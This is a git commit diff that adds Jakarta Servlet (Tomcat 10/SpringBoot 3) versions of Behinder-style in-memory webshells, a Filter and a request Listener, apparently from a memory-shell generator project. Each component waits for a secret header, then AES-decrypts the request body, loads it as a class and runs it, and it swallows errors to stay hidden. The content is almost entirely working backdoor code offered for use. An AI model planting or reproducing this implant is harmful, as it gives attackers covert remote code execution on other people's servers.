add: 添加对 Jakarta Servlet 的支持（SpringBoot 3.x/Tomcat 10.x）

2026-09-23 02:01:54 +08:00 · 2024-08-25 18:55:49 +08:00
parent 4d43d247c1
commit 35367e7d06
30 changed files with 2062 additions and 20 deletions
@@ -0,0 +1,73 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import jakarta.servlet.*;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpSession;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class BehinderJakartaFilter extends ClassLoader implements Filter {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    public BehinderJakartaFilter() {
+    }
+
+    public BehinderJakartaFilter(ClassLoader c) {
+        super(c);
+    }
+
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                HttpSession session = ((HttpServletRequest) servletRequest).getSession();
+                Map obj = new HashMap();
+                obj.put("request", servletRequest);
+                obj.put("response", response);
+                obj.put("session", session);
+
+                // fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
+                // java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
+//                session.putValue("u", this.pass);
+                session.setAttribute("u", pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+                (new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
+            } else {
+                filterChain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            filterChain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    public byte[] doBase64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    public void destroy() {
+    }
+}
@@ -0,0 +1,98 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import jakarta.servlet.ServletRequestEvent;
+import jakarta.servlet.ServletRequestListener;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+
+    public BehinderJakartaListener() {
+    }
+
+    public BehinderJakartaListener(ClassLoader c) {
+        super(c);
+    }
+
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpServletResponse response = this.getResponseFromRequest(request);
+                HttpSession session = request.getSession();
+                Map obj = new HashMap();
+                obj.put("request", request);
+                obj.put("response", response);
+                obj.put("session", session);
+                try {
+//                    session.putValue("u", pass);
+                    session.setAttribute("u", pass);
+                    Cipher c = Cipher.getInstance("AES");
+                    c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+                    (new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+                } catch (Exception var7) {
+                }
+            }
+        } catch (Exception e) {
+
+        }
+
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+        return null;
+    }
+
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+}